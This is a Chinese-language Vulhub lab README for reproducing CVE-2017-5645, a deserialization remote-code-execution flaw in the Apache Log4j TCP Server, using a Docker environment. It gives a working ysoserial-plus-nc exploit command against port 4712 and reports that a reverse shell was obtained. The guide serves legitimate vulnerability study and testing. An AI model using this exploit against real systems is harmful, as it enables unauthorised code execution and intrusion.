Files
vulhub/log4j/CVE-2017-5645/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

37 lines
1.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Log4j TCP Server 反序列化命令执行漏洞CVE-2017-5645
Apache Log4j是一个用于Java的日志记录库其支持启动远程日志服务器。Apache Log4j TCP Server 2.8.2之前的2.x版本中存在反序列化漏洞攻击者可利用该漏洞执行任意代码。
参考链接:
- https://issues.apache.org/jira/browse/LOG4J2-1863
- https://github.com/pimps/CVE-2017-5645
## 漏洞环境
执行如下命令启动漏洞环境:
```
docker compose up -d
```
环境启动后将在4712端口开启一个TCPServer。
说一下除了使用vulhub的docker镜像搭建环境外我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`无需使用vulhub和编写代码。
## 漏洞复现
我们使用ysoserial生成payload然后直接发送给`your-ip:4712`端口即可。
```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```
然后执行`docker compose exec log4j bash`进入容器,可见 /tmp/success 已成功创建:
![](1.png)
执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html)成功弹回shell
![](2.png)